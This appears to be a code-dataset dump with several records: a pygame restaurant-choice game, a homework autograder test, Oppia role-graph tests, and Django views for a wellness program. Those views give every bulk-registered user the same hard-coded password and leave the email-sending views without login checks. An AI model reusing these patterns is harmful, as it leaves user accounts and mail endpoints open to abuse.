(old_row, old_col) != (row, col):\n #o = players[j].ramasse(game.layers)\n game.mainiteration()\n print (j, \"->\", players_data[j][\"restau\"])\n players_on_restau[players_data[j][\"restau\"]].append(j)\n # goalStates.remove((row,col)) # on enlève ce goalState de la liste\n \n \n break\n \n freq = []\n freq_plyrs = []\n # Fin du round, distribution des gains\n for restau in range(nbRestaus):\n plyrs = players_on_restau[restau]\n freq.append(len(plyrs))\n freq_plyrs.append(plyrs)\n if len(plyrs) > 0:\n players_data[random.choice(plyrs)]['gain'] += 1\n # Affichage des gain\n print(\"Fréquentation :\", freq)\n print(\"Répartition :\", freq_plyrs)\n scores = [players_data[j]['gain'] for j in range(nbPlayers)]\n print(\"Scores :\", scores)\n\n for t in teams.keys():\n # print(\"Score\", t, \" :\", math.fsum([scores[j] for j in teams[t]]))\n moy = math.fsum([scores[j] for j in teams[t]]) / int(len(teams[t]))\n moy /= m_ite\n print(\"Score moyen d'un joueur de\",t,\":\", (round(moy * 10000))/100, \"%\")\n\n # on informe les joueurs des fréquentations\n for j in range(nbPlayers):\n players_data[j]['strat'].append(freq)\n\n pygame.quit()\n \n \n \n \n\nif __name__ == '__main__':\n main()\n \n\n\n","sub_path":"kolkata-restaurant/kalkota_restaurants.py","file_name":"kalkota_restaurants.py","file_ext":"py","file_size_in_byte":9689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"267296001","text":"test = {\n 'name': 'Question 3_16',\n 'points': 1,\n 'suites': [\n {\n 'cases': [\n {\n 'code': r\"\"\"\n >>> # Your answer should be in [1,2,3,4,5,6] .\n >>> q_3_16_answer in [1, 2, 3, 4, 5, 6]\n True\n \"\"\",\n 'hidden': False,\n 'locked': False\n }\n ],\n 'scored': True,\n 'setup': '',\n 'teardown': '',\n 'type': 'doctest'\n }\n ]\n}","sub_path":"Projects/project02/tests/q3_16.py","file_name":"q3_16.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"230739613","text":"# coding: utf-8\n#\n# Copyright 2017 The Oppia Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS-IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Test functions relating to roles and actions.\"\"\"\n\nfrom __future__ import absolute_import # pylint: disable=import-only-modules\nfrom __future__ import unicode_literals # pylint: disable=import-only-modules\n\nfrom core.domain import role_services\nfrom core.tests import test_utils\nimport feconf\nimport python_utils\n\n\nclass RoleDomainUnitTests(test_utils.GenericTestBase):\n \"\"\"Tests for PARENT_ROLES and ROLE_ACTIONS.\"\"\"\n\n PARENT_ROLES = role_services.PARENT_ROLES\n ACTIONS = role_services.ROLE_ACTIONS\n\n def test_dicts_have_same_keys(self):\n \"\"\"Test that PARENT_ROLES and ROLE_ACTIONS have same keys.\"\"\"\n self.assertEqual(\n set(self.PARENT_ROLES.keys()), set(self.ACTIONS.keys()))\n\n def test_dicts_have_list_value(self):\n \"\"\"Test that PARENT_ROLES and ROLE_ACTIONS, both have list as value\n to all the keys.\n \"\"\"\n for role_name in self.PARENT_ROLES:\n self.assertTrue(isinstance(self.PARENT_ROLES[role_name], list))\n\n for role_name in self.ACTIONS:\n self.assertTrue(isinstance(self.ACTIONS[role_name], list))\n\n def test_every_dict_entry_is_string(self):\n \"\"\"Test that all keys and values(elements in lists) in PARENT_ROLES\n and ROLE_ACTIONS are string.\n \"\"\"\n for role_name in self.PARENT_ROLES:\n self.assertTrue(isinstance(role_name, python_utils.UNICODE))\n\n for role in self.PARENT_ROLES[role_name]:\n self.assertTrue(isinstance(role, python_utils.UNICODE))\n\n for role_name in self.ACTIONS:\n self.assertTrue(isinstance(role_name, python_utils.UNICODE))\n\n for action_name in self.ACTIONS[role_name]:\n self.assertTrue(\n isinstance(action_name, python_utils.UNICODE))\n\n def test_valid_parents(self):\n \"\"\"Test that all the roles present in value list for any key in\n PARENT_ROLES are valid(i.e there exists a key with that name).\n \"\"\"\n valid_roles = list(self.PARENT_ROLES.keys())\n\n for role_name in self.PARENT_ROLES:\n for role in self.PARENT_ROLES[role_name]:\n self.assertIn(role, valid_roles)\n\n def test_that_role_graph_has_no_directed_cycles(self):\n \"\"\"Visits each role and checks that there is no cycle from that\n role.\n \"\"\"\n visited = set()\n\n def check_cycle(source, roles):\n \"\"\"Checks that source is not reachable from any of the given roles.\n\n Args:\n source: str. Role that should not be reachable via any path\n from roles.\n roles: list(str). List of roles that should not be able to\n reach source.\n \"\"\"\n for role in roles:\n self.assertNotEqual(role, source)\n if role not in visited:\n visited.add(role)\n check_cycle(source, self.PARENT_ROLES[role])\n\n for role_name in self.PARENT_ROLES:\n visited = set()\n check_cycle(role_name, self.PARENT_ROLES[role_name])\n\n def test_get_all_actions(self):\n \"\"\"Test that get_all_actions works as expected.\"\"\"\n\n # Case when wrong input is given.\n with self.assertRaisesRegexp(\n Exception, 'Role TEST_ROLE does not exist.'):\n role_services.get_all_actions('TEST_ROLE')\n\n # Case for collection editor is checked.\n collection_editor_actions = list(\n set(role_services.ROLE_ACTIONS[feconf.ROLE_ID_EXPLORATION_EDITOR]) |\n set(role_services.ROLE_ACTIONS[feconf.ROLE_ID_BANNED_USER]) |\n set(role_services.ROLE_ACTIONS[feconf.ROLE_ID_GUEST]) |\n set(role_services.ROLE_ACTIONS[feconf.ROLE_ID_COLLECTION_EDITOR]))\n\n # Sets are compared as their element order don't need to be same.\n self.assertEqual(\n set(collection_editor_actions),\n set(role_services.get_all_actions(\n feconf.ROLE_ID_COLLECTION_EDITOR)))\n\n def test_check_path_exists_in_roles_graph_invalid_source_raises_error(self):\n invalid_role = 'role_x'\n error_msg = (\n 'Role %s defined by the source node does not exist.'\n % invalid_role)\n with self.assertRaisesRegexp(Exception, error_msg):\n role_services.check_if_path_exists_in_roles_graph(\n invalid_role, feconf.ROLE_ID_LEARNER)\n\n def test_check_path_exists_in_roles_graph_invalid_dest_raises_error(self):\n invalid_role = 'role_x'\n error_msg = (\n 'Role %s defined by the destination node does not exist.'\n % invalid_role)\n with self.assertRaisesRegexp(Exception, error_msg):\n role_services.check_if_path_exists_in_roles_graph(\n feconf.ROLE_ID_LEARNER, invalid_role)\n\n def test_check_path_exists_in_roles_graph_same_source_and_destination(self):\n self.assertTrue(\n role_services.check_if_path_exists_in_roles_graph(\n feconf.ROLE_ID_LEARNER, feconf.ROLE_ID_LEARNER))\n\n def test_check_path_exists_in_roles_graph_for_true_cases(self):\n superior_roles_dict = {\n feconf.ROLE_ID_GUEST: [\n feconf.ROLE_ID_BANNED_USER, feconf.ROLE_ID_LEARNER,\n feconf.ROLE_ID_EXPLORATION_EDITOR,\n feconf.ROLE_ID_COLLECTION_EDITOR, feconf.ROLE_ID_TOPIC_MANAGER,\n feconf.ROLE_ID_MODERATOR, feconf.ROLE_ID_ADMIN\n ],\n feconf.ROLE_ID_BANNED_USER: [],\n feconf.ROLE_ID_EXPLORATION_EDITOR: [\n feconf.ROLE_ID_COLLECTION_EDITOR, feconf.ROLE_ID_TOPIC_MANAGER,\n feconf.ROLE_ID_MODERATOR, feconf.ROLE_ID_ADMIN\n ],\n feconf.ROLE_ID_COLLECTION_EDITOR: [\n feconf.ROLE_ID_TOPIC_MANAGER, feconf.ROLE_ID_MODERATOR,\n feconf.ROLE_ID_ADMIN\n ],\n feconf.ROLE_ID_TOPIC_MANAGER: [\n feconf.ROLE_ID_MODERATOR, feconf.ROLE_ID_ADMIN\n ],\n feconf.ROLE_ID_MODERATOR: [feconf.ROLE_ID_ADMIN],\n feconf.ROLE_ID_ADMIN: []\n }\n\n for source_node, target_nodes in superior_roles_dict.items():\n for target_node in target_nodes:\n self.assertTrue(\n role_services.check_if_path_exists_in_roles_graph(\n source_node, target_node)\n )\n\n def test_check_path_exists_in_roles_graph_for_false_cases(self):\n inferior_roles_dict = {\n feconf.ROLE_ID_GUEST: [],\n feconf.ROLE_ID_BANNED_USER: [\n feconf.ROLE_ID_GUEST, feconf.ROLE_ID_LEARNER,\n feconf.ROLE_ID_EXPLORATION_EDITOR,\n feconf.ROLE_ID_COLLECTION_EDITOR, feconf.ROLE_ID_TOPIC_MANAGER,\n feconf.ROLE_ID_MODERATOR\n ],\n feconf.ROLE_ID_LEARNER: [\n feconf.ROLE_ID_GUEST, feconf.ROLE_ID_BANNED_USER\n ],\n feconf.ROLE_ID_EXPLORATION_EDITOR: [\n feconf.ROLE_ID_GUEST, feconf.ROLE_ID_BANNED_USER,\n feconf.ROLE_ID_LEARNER\n ],\n feconf.ROLE_ID_COLLECTION_EDITOR: [\n feconf.ROLE_ID_GUEST, feconf.ROLE_ID_BANNED_USER,\n feconf.ROLE_ID_LEARNER, feconf.ROLE_ID_EXPLORATION_EDITOR\n ],\n feconf.ROLE_ID_TOPIC_MANAGER: [\n feconf.ROLE_ID_GUEST, feconf.ROLE_ID_BANNED_USER,\n feconf.ROLE_ID_LEARNER, feconf.ROLE_ID_EXPLORATION_EDITOR,\n feconf.ROLE_ID_COLLECTION_EDITOR\n ],\n feconf.ROLE_ID_MODERATOR: [\n feconf.ROLE_ID_GUEST, feconf.ROLE_ID_BANNED_USER,\n feconf.ROLE_ID_LEARNER, feconf.ROLE_ID_EXPLORATION_EDITOR,\n feconf.ROLE_ID_COLLECTION_EDITOR, feconf.ROLE_ID_TOPIC_MANAGER\n ],\n feconf.ROLE_ID_ADMIN: [\n feconf.ROLE_ID_GUEST, feconf.ROLE_ID_BANNED_USER,\n feconf.ROLE_ID_LEARNER, feconf.ROLE_ID_EXPLORATION_EDITOR,\n feconf.ROLE_ID_COLLECTION_EDITOR, feconf.ROLE_ID_TOPIC_MANAGER,\n feconf.ROLE_ID_MODERATOR\n ]\n }\n\n for source_node, target_nodes in inferior_roles_dict.items():\n for target_node in target_nodes:\n self.assertFalse(\n role_services.check_if_path_exists_in_roles_graph(\n source_node, target_node)\n )\n","sub_path":"core/domain/role_services_test.py","file_name":"role_services_test.py","file_ext":"py","file_size_in_byte":9115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"644518818","text":"from django.http import HttpResponse, HttpRequest, HttpResponseRedirect, HttpResponseForbidden, JsonResponse\nfrom django.shortcuts import get_object_or_404, render\nfrom django.contrib.auth import authenticate, login\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import LoginForm, UserEditForm, ProfileEditForm, ProgramForm, UploadFileForm, programArchiveForm, EmailForm,CronForm,RewardsNotificationForm,ManagePointForm, ParametersForm, ProgramClone\nfrom .forms import Profile,User, Program, ContactForm, ProfileEditForm, AdminEditForm, SignUpForm,SchoolsForm\nfrom .forms import RewardItemForm, RewardCategoryForm\nfrom .models import RegisterUser, Affirmations, Dailyquote, Inactiveuser, RewardsNotification, Parameters, Reward, KindnessMessage, CloneProgramInfo, RewardCategory, RewardItem,Schools\nfrom week.models import WeekPage, EmailTemplates, UserActivity, ServicePostPage, KindnessCardPage\nfrom week.forms import TemplateForm\nfrom week.models import CustomFormSubmission, PhysicalPostPage\nfrom io import TextIOWrapper, StringIO\nimport re, json\nimport weasyprint\nfrom io import BytesIO\nfrom django.shortcuts import redirect\nimport csv, string, random\nfrom django.contrib.auth.models import User\nfrom django.contrib import messages\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.contrib.auth.forms import PasswordResetForm\nfrom django.conf import settings\nfrom django.forms import ValidationError\n#from datetime import datetime, timedelta\nimport pytz, datetime, tzlocal\nimport wagtail\nfrom django.core.mail import send_mass_mail, BadHeaderError, send_mail, EmailMessage\nfrom django.template.loader import render_to_string\nfrom django.utils.html import strip_tags\nfrom django.utils import timezone\nfrom wagtail.core.models import Page\nfrom django.db.models.signals import post_save, post_init, pre_save\nfrom django.dispatch import receiver\nfrom django.core import serializers, exceptions\nfrom collections import defaultdict\nimport django_tables2 as tables\n\n\n\nclass ActivityTable(tables.Table):\n week_no = tables.Column()\n total_points = tables.Column()\n\n # table = ActivityTable(data)\n@login_required\ndef json_data(request):\n json_data = {}\n assessment_json = [{}]\n try:\n assesssment_page_id = Page.objects.filter(slug__contains=\"pre-assessment\").first().id\n data = list(CustomFormSubmission.objects.filter(page_id=assesssment_page_id))\n except AttributeError:\n data = list()\n # for row in data:\n # print(row.keys())\n\n header_data = list()\n row_data = list()\n count = 1\n for row in data:\n print(row)\n\n array = []\n week = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]\n activity = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n activity_data = list(UserActivity.objects.all())\n\n for row in activity_data:\n if row.Week != None:\n activity[row.Week-1] += row.points_earned\n\n for i in week:\n array.append({'week': i, 'activity': activity[i-1]})\n json_data.update({'useractivity': array})\n return JsonResponse(json_data)\n\n\n@receiver(post_save, sender=Profile)\ndef point_check(sender, instance, **kwargs):\n try:\n milestones = RewardsNotification.objects.latest()\n obj = Profile.objects.get(pk=instance.pk)\n set_point1 = milestones.Rewards_milestone_1\n set_point2 = milestones.Rewards_milestone_2\n set_point3 = milestones.Rewards_milestone_3\n set_point4 = milestones.Rewards_milestone_4\n except RewardsNotification.DoesNotExist:\n obj = Profile.objects.get(pk=instance.pk)\n set_point1 = 25\n set_point2 = 50\n set_point3 = 75\n set_point4 = 100\n if obj.user.profile.points == set_point1 or obj.user.profile.points == set_point2 or obj.user.profile.points == set_point3 or obj.user.profile.points == set_point4:\n rewards_notification = \"True\"\n messages = EmailTemplates.objects.get()\n subject = messages.subject_for_rewards_notification + ' :' + str(obj.user.profile.points)\n html_message = render_to_string('account/group_email_template.html',\n {'content': messages, 'rewards_notification': rewards_notification})\n plain_message = strip_tags(html_message)\n from_email = 'capstone18FA@gmail.com'\n send_mail(subject, plain_message, from_email, [obj.user.email], html_message=html_message)\n else:\n pass\n\n'''\n@receiver(post_save, sender=KindnessMessage)\ndef unread_message_check(sender, instance, **kwargs):\n obj = KindnessMessage.objects.get(pk=instance.pk)\n if obj.read_messages == False:\n obj.read_messages.count()\n'''\n\ndef user_login(request):\n if request.method == 'POST':\n form = LoginForm(request.POST)\n if form.is_valid():\n cd = form.cleaned_data\n user = authenticate(request,\n username=cd['username'],\n password=cd['password'])\n if user is not None:\n if user.is_active:\n login(request, user)\n return HttpResponse('Authenticated successfully')\n else:\n return HttpResponse('Disabled account')\n else:\n return HttpResponse('Invalid login')\n else:\n form = LoginForm()\n return render(request, 'account/login.html', {'form': form})\n\n\n@login_required\ndef dashboard(request):\n today = datetime.date.today()\n tomorrow = datetime.date.today() + datetime.timedelta(days=1)\n\n dailyquote = Dailyquote.objects.filter(quote_date__gte=today).filter(quote_date__lt=tomorrow)\n\n programs = Program.objects.filter(program_start_date__lt=today).filter(program_end_date__gte=today)\n for program in programs:\n current_program = program.program_name\n current_program_lower = current_program.lower()\n gap_pos = current_program_lower.find(\" \")\n new_str = current_program_lower[0:gap_pos] + '-' + current_program_lower[gap_pos:]\n new_str1 = new_str.replace(\" \", \"\")\n\n weeks = WeekPage.objects.filter(end_date__gte=today, start_date__lte=today)\n for this_week in weeks:\n print(this_week.title)\n todays_week = this_week.title.lower()\n print(todays_week)\n week_gap_pos = todays_week.find(\" \")\n new_week_str = todays_week[0:week_gap_pos] + '-' + todays_week[week_gap_pos:]\n print(new_week_str)\n new_week_str1 = new_week_str.replace(\" \", \"\")\n\n if request.user.is_staff:\n registeredUsers = User.objects.filter(is_superuser=False).order_by('-is_active')\n return render(request, 'account/viewUsers.html', {'registeredUsers': registeredUsers})\n\n return render(request,\n 'account/dashboard.html',\n {'section': 'dashboard', 'dailyquote': dailyquote, 'new_str1': new_str1,\n 'new_week_str1': new_week_str1})\n\n\n@login_required\ndef login_success(request):\n today = datetime.date.today()\n tomorrow = datetime.date.today() + datetime.timedelta(days=1)\n dailyquote = Dailyquote.objects.filter(quote_date__gte=today).filter(quote_date__lt=tomorrow)\n if request.user.is_staff:\n registeredUsers = User.objects.filter(is_superuser=False).order_by('-is_active')\n return render(request, 'account/viewUsers.html', {'registeredUsers': registeredUsers})\n elif request.user.is_active:\n current_week = WeekPage.objects.live().filter(end_date__gte=today, start_date__lte=today)\n print(current_week)\n return render(request,\n 'account/current_week.html',\n {'current_week': current_week,\n 'dailyquote': dailyquote})\n\n@login_required\ndef userdashboard(request):\n return render(request,\n 'account/userdashboard.html',\n {'section': 'userdashboard'})\n\n@login_required\ndef createprogram(request):\n registeredPrograms = Program.objects.all()\n if request.method == 'POST':\n form = ProgramForm(request.POST)\n if form.is_valid():\n #print (\"program_form\")\n program= form.save(commit=False)\n #program.created_date = timezone.now()\n program.save()\n messages.success(request,'Program added successfully')\n return redirect('createprogram')\n else:\n messages.error(request, 'Error creating Program. Retry!')\n #return HttpResponse('Error updating your profile!')\n else:\n form = ProgramForm()\n #print(\"Else\")\n #profile_form = ProfileEditForm(instance=request.user.profile)\n return render(request,\n 'account/createprogram.html',\n {'section': 'createprogram','form':form,'registeredPrograms':registeredPrograms})\n\n\n# def validate_csv(value):\n# if not value.name.endswith('.csv'):\n# raise ValidationError('Invalid file type')\n\ndef handle_uploaded_file(request, name):\n csvf = StringIO(request.FILES['file'].read().decode())\n reader = csv.reader(csvf, delimiter=',')\n reader.__next__();\n count = 0\n failcount = 0\n existcount = 0\n emailcount = 0\n for row in reader:\n try:\n if row[1] and row[2] and row[3]:\n if re.match(r'(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+$)', row[1]):\n num = len(User.objects.all().filter(email=row[1]))\n if (len(User.objects.all().filter(email=row[1])) > 0):\n # targetUser = User.objects.all().filter(email=row[1])[0]\n # targetUser.is_active = True\n # targetUser.save()\n # targetProfile = targetUser.profile\n # targetProfile.program = Program.objects.all().filter(program_name=name)[0]\n # targetProfile.points = 0\n # targetProfile.pre_assessment = 'No'\n # targetProfile.post_assessment = 'No'\n # targetProfile.save()\n existcount += 1 #hghanta: changes to get existing users count\n\n else:\n vu = RegisterUser(email=row[1], first_name=row[2], last_name=row[3], program=name)\n current_site = get_current_site(request)\n alphabet = string.ascii_letters + string.digits\n # theUser = User(username=generate(), password = generate_temp_password(8), first_name = row[2],last_name = row[3], email =row[1])\n theUser = User(username=vu.email, first_name=row[2], last_name=row[3], email=row[1])\n theUser.set_password('stayfit2019')\n theUser.save()\n profile = Profile.objects.create(user=theUser,\n program=Program.objects.all().filter(program_name=name)[0])\n profile.save()\n form = PasswordResetForm({'email': theUser.email})\n if form.is_valid():\n request = HttpRequest()\n request.META['SERVER_NAME'] = 'www.empoweruomaha.com'\n request.META['SERVER_PORT'] = '80'\n form.save(\n request=request,\n from_email=settings.EMAIL_HOST_USER,\n subject_template_name='registration/new_user_subject.txt',\n email_template_name='registration/password_reset_newuser_email.html')\n if vu is not None:\n vu.save()\n count = count + 1\n else:\n emailcount += 1\n else:\n failcount += 1\n except Exception as e:\n print(e)\n existcount += 1\n return (count, failcount, existcount, emailcount)\n\n\ndef get_short_name(self):\n # The user is identified by their email address\n return self.first_name\n\n\n@login_required\ndef registerusers(request):\n if request.method == 'POST':\n form = UploadFileForm(request.POST, request.FILES)\n if form.is_valid():\n file_name = request.FILES['file']\n if not file_name.name.endswith('.csv'):\n messages.info(request, f'You need to upload a CSV file.')\n return redirect('registerusers')\n\n else:\n value,fail,existing,bademail = handle_uploaded_file(request,form.cleaned_data['programs'])\n\n if value==0 and fail==0 and existing==0 and bademail==0:\n form = request.POST\n messages.error(request, 'Your upload file is empty.Try again!')\n return redirect('registerusers')\n elif value==0 and fail==0 and existing==0 and bademail>0:\n form = request.POST\n messages.info(request, f'Number of invalid email address: {bademail}')\n return redirect('registerusers')\n elif value==0 and fail==0 and existing>0 and bademail==0:\n form = request.POST\n messages.info(request, f'Number of user-account already exist: {existing}')\n return redirect('registerusers')\n elif value==0 and fail==0 and existing>0 and bademail>0:\n form = request.POST\n messages.info(request, f'Number of user-account already exist: {existing}')\n messages.info(request, f'Number of invalid email address: {bademail}')\n return redirect('registerusers')\n elif value==0 and fail>0 and existing==0 and bademail==0:\n form = request.POST\n messages.info(request, f'Number of user-account not added: {fail}')\n return redirect('registerusers')\n elif value==0 and fail>0 and existing==0 and bademail>0:\n form = request.POST\n messages.info(request, f'Number of user-account not added: {fail}')\n messages.info(request, f'Number of invalid email address: {bademail}')\n return redirect('registerusers')\n elif value==0 and fail>0 and existing>0 and bademail==0:\n form = request.POST\n messages.info(request, f'Number of user-account not added: {fail}')\n messages.info(request, f'Number of user-account already exist: {existing}')\n return redirect('registerusers')\n elif value==0 and fail>0 and existing>0 and bademail>0:\n form = request.POST\n messages.info(request, f'Number of user-account not added: {fail}')\n messages.info(request, f'Number of user-account already exist: {existing}')\n messages.info(request, f'Number of invalid email address: {bademail}')\n return redirect('registerusers')\n\n elif value>0 and fail==0 and existing==0 and bademail>0:\n form = request.POST\n messages.info(request, f'Number of user-account added successfully: {value}')\n messages.info(request, f'Number of invalid email address: {bademail}')\n return redirect('registerusers')\n elif value>0 and fail==0 and existing>0 and bademail==0:\n form = request.POST\n messages.info(request, f'Number of user-account added successfully: {value}')\n messages.info(request, f'Number of user-account already exist: {existing}')\n return redirect('registerusers')\n elif value>0 and fail==0 and existing>0 and bademail>0:\n form = request.POST\n messages.info(request, f'Number of user-account added successfully: {value}')\n messages.info(request, f'Number of user-account already exist: {existing}')\n messages.info(request, f'Number of invalid email address: {bademail}')\n return redirect('registerusers')\n elif value>0 and fail>0 and existing==0 and bademail==0:\n form = request.POST\n messages.info(request, f'Number of user-account added successfully: {value}')\n messages.info(request, f'Number of user-account already exist: {fail}')\n return redirect('registerusers')\n elif value>0 and fail>0 and existing==0 and bademail>0:\n form = request.POST\n messages.info(request, f'Number of user-account added successfully: {value}')\n messages.info(request, f'Number of user-account not added: {fail}')\n messages.info(request, f'Number of invalid email address: {bademail}')\n return redirect('registerusers')\n elif value>0 and fail>0 and existing>0 and bademail==0:\n form = request.POST\n messages.info(request, f'Number of user-account added successfully: {value}')\n messages.info(request, f'Number of user-account not added: {fail}')\n messages.info(request, f'Number of user-account already exist: {existing}')\n return redirect('registerusers')\n elif value>0 and fail>0 and existing>0 and bademail>0:\n form = request.POST\n messages.info(request, f'Number of user-account added successfully: {value}')\n messages.info(request, f'Number of user-account not added: {fail}')\n messages.info(request, f'Number of user-account already exist: {existing}')\n messages.info(request, f'Number of invalid email address: {bademail}')\n return redirect('registerusers')\n else:\n form = request.POST\n messages.success(request, f'Number of user-account added successfully: {value}')\n return redirect('users')\n else:\n form = UploadFileForm()\n return render(request,\n 'account/registerusers.html',\n {'form' : form})\n\ndef aboutus(request):\n return render(request,\n 'account/aboutus.html',\n {'section': 'aboutus'})\n\n@login_required\ndef users(request):\n registeredUsers = User.objects.filter(is_superuser = False)\n return render(request, 'account/viewUsers.html', {'registeredUsers' : registeredUsers})\n\n@login_required\ndef myprogram(request):\n return render(request,\n 'account/myprogram.html',\n {'section': 'myprogram'})\n@login_required\ndef programs(request):\n return render(request,\n 'account/programs.html',\n {'section': 'programs'})\n@login_required\ndef edit(request):\n\n activated = False\n print(request.user.profile.profile_filled)\n if(request.user.profile.profile_filled):\n activated = True\n else:\n activated = False\n\n\n if request.method == 'POST':\n user_form = UserEditForm(instance=request.user,\n data=request.POST)\n profile_form = ProfileEditForm(instance=request.user.profile,\n data=request.POST,\n files=request.FILES, user=request.user)\n if user_form.is_valid() and profile_form.is_valid():\n user_form.save()\n profile_form.save()\n theProfile = request.user.profile\n theProfile.profile_filled = True\n theProfile.save()\n messages.success(request, 'Profile updated successfully!')\n return redirect('/pages/pre-assessment/')\n else:\n messages.warning(request, 'Please correct the errors below!')\n else:\n user_form = UserEditForm(instance=request.user)\n profile_form = ProfileEditForm(instance=request.user.profile, user=request.user)\n # print(profile_form)\n return render(request,\n 'account/edit.html',\n {'user_form': user_form,\n 'profile_form': profile_form,\n 'activated': activated})\n\n@login_required\ndef user_edit(request):\n\n activated = False\n print(request.user.profile.profile_filled)\n if(request.user.profile.profile_filled):\n activated = True\n else:\n activated = False\n\n\n if request.method == 'POST':\n user_form = UserEditForm(instance=request.user,\n data=request.POST)\n profile_form = ProfileEditForm(instance=request.user.profile,\n data=request.POST,\n files=request.FILES, user=request.user)\n print(user_form.is_valid(), profile_form.is_valid())\n if user_form.is_valid() and profile_form.is_valid():\n user_form.save()\n profile_form.save()\n theProfile = request.user.profile\n theProfile.profile_filled = True\n theProfile.save()\n messages.success(request, 'Profile updated successfully!')\n return redirect('/pages/userdashboard')\n else:\n messages.warning(request, 'Please correct the errors below!')\n else:\n user_form = UserEditForm(instance=request.user)\n profile_form = ProfileEditForm(instance=request.user.profile, user=request.user)\n return render(request,\n 'account/user_edit_profile.html',\n {'user_form': user_form,\n 'profile_form': profile_form,\n 'activated':activated})\n\n\n@login_required\ndef admin_edit(request):\n if request.method == 'POST':\n # update\n user_form = UserEditForm(instance=request.user,\n data=request.POST)\n admin_form = AdminEditForm(instance=request.user.profile, data=request.POST, files=request.FILES)\n\n if user_form.is_valid() and admin_form.is_valid():\n user_form.save()\n admin_form.save()\n theProfile = request.user.profile\n theProfile.profile_filled = True\n theProfile.save()\n messages.success(request, 'Profile updated successfully')\n return redirect('users')\n else:\n messages.warning(request, 'Please correct the errors below!')\n else:\n # edit\n user_form = UserEditForm(instance=request.user)\n admin_form = AdminEditForm(instance=request.user.profile)\n\n return render(request, 'account/admin_edit.html', {'user_form': user_form, 'admin_form': admin_form})\n\n\n\n@login_required\ndef profile(request,pk):\n pro = Profile.objects.get(user_id=pk)\n return render(request,\n 'account/profile.html',\n {'user': pro})\n\n@login_required\ndef cms_frame(request):\n return render(request,\n 'account/cms_frame.html',\n {'section': 'cms_frame'})\n@login_required\ndef django_frame(request):\n return render(request,\n 'account/django_frame.html',\n {'section': 'django_frame'})\n\n@login_required\ndef archive(request):\n if request.method == 'POST':\n form = programArchiveForm(request.POST)\n if form.is_valid():\n theProgram = Program.objects.all().filter(program_name = form.cleaned_data['programs'])[0]\n profiles =Profile.objects.all().filter(program = theProgram)\n for theProfile in profiles:\n if(theProfile.user.is_superuser == False):\n theUser = theProfile.user\n theUser.is_active = False\n theUser.save()\n messages.success(request, 'Users archived successfully')\n return redirect('archive')\n else:\n messages.error(request, 'Error archiving users. Retry!')\n #messages.success(request, 'Users archived successfully')\n else:\n form = programArchiveForm()\n return render(request,\n 'account/archive.html',\n {'section': 'archive','form':form})\n\n\ndef group_email(request):\n if request.method == 'GET':\n form = EmailForm()\n return render(request, \"account/group_email.html\", {'form': form})\n else:\n form = EmailForm()\n template_form = TemplateForm()\n list = request.POST.getlist('checks[]')\n return render(request, \"account/group_email.html\", {'form': form, 'template_form': template_form, 'to_list': list})\n\n\n\n\ndef send_group_email(request):\n if request.method == 'GET':\n return render(request, \"account/group_email.html\")\n else:\n template_form = TemplateForm(request.POST)\n form = EmailForm(request.POST)\n if form.is_valid() :\n selection = request.POST.get('selection')\n list = request.POST.get('to_list')\n new = list.replace('[','').replace(']','').replace(\"'\",'')\n result = [x.strip() for x in new.split(',')]\n from_email = 'capstone18FA@gmail.com'\n subject = form.cleaned_data['subject']\n name_list = []\n if selection == 'text':\n message = form.cleaned_data['message']\n for user_email in result:\n send_mail(subject, message, from_email, [user_email])\n user = User.objects.get(username = user_email)\n name = user.first_name + \" \" + user.last_name\n name_list.append(name)\n return render(request, \"account/email_confirmation.html\", {'name_list': name_list, 'form': form})\n elif template_form.is_valid() and selection == 'CMS content':\n template = request.POST.get('templates')\n field = template.replace('week.EmailTemplates.', '')\n content = EmailTemplates.objects.get()\n group_message = 'False'\n user_inactivity = 'False'\n rewards_notification = 'False'\n if field == 'group_message':\n group_message = 'True'\n subject = content.subject_for_group\n elif field == 'inactivity_message':\n user_inactivity = 'True'\n subject = content.subject_for_inactivity\n elif field == 'rewards_message':\n rewards_notification = 'True'\n subject = content.subject_for_rewards_notification\n html_message = render_to_string('account/group_email_template.html', {'content': content,\n 'group_message': group_message,\n 'user_inactivity': user_inactivity,\n 'rewards_notification': rewards_notification})\n plain_message = strip_tags(html_message)\n for user_email in result:\n send_mail(subject, plain_message, from_email, [user_email], html_message=html_message)\n user = User.objects.get(username = user_email)\n name = user.first_name + \" \" + user.last_name\n name_list.append(name)\n return render(request, \"account/email_confirmation.html\", {'name_list': name_list, 'form': form})\n\n\n\ndef email_individual(request,pk):\n user_student = get_object_or_404(User,pk=pk)\n if request.method == 'GET':\n form = ContactForm()\n else:\n form = ContactForm(request.POST)\n if form.is_valid():\n subject = form.cleaned_data['subject']\n #contact_email = form.cleaned_data['contact_email']\n contact_email = user_student.email\n message = form.cleaned_data['message']\n from_email = 'capstone18FA@gmail.com'\n\n try:\n send_mail(subject, message, from_email, [contact_email])\n except BadHeaderError:\n return HttpResponse('Invalid header found.')\n return render(request,'account/email_individual_confirmation.html',{'contact_email': contact_email},{'user_student':user_student})\n return render(request, 'account/email_individual.html', {'form': form,'user_student':user_student})\n\n\n\n@login_required\ndef user_inactivity(request):\n try:\n user_inactive_days = Inactiveuser.objects.latest()\n latest_date = user_inactive_days.set_days\n except Inactiveuser.DoesNotExist:\n latest_date = 7\n\n if request.method == 'GET':\n form = CronForm(initial={'days':latest_date})\n else:\n form = CronForm(request.POST,initial={'days':latest_date})\n if form.is_valid():\n inactive_days = form.cleaned_data['days']\n days_data = Inactiveuser(set_days=inactive_days)\n days_data.save()\n 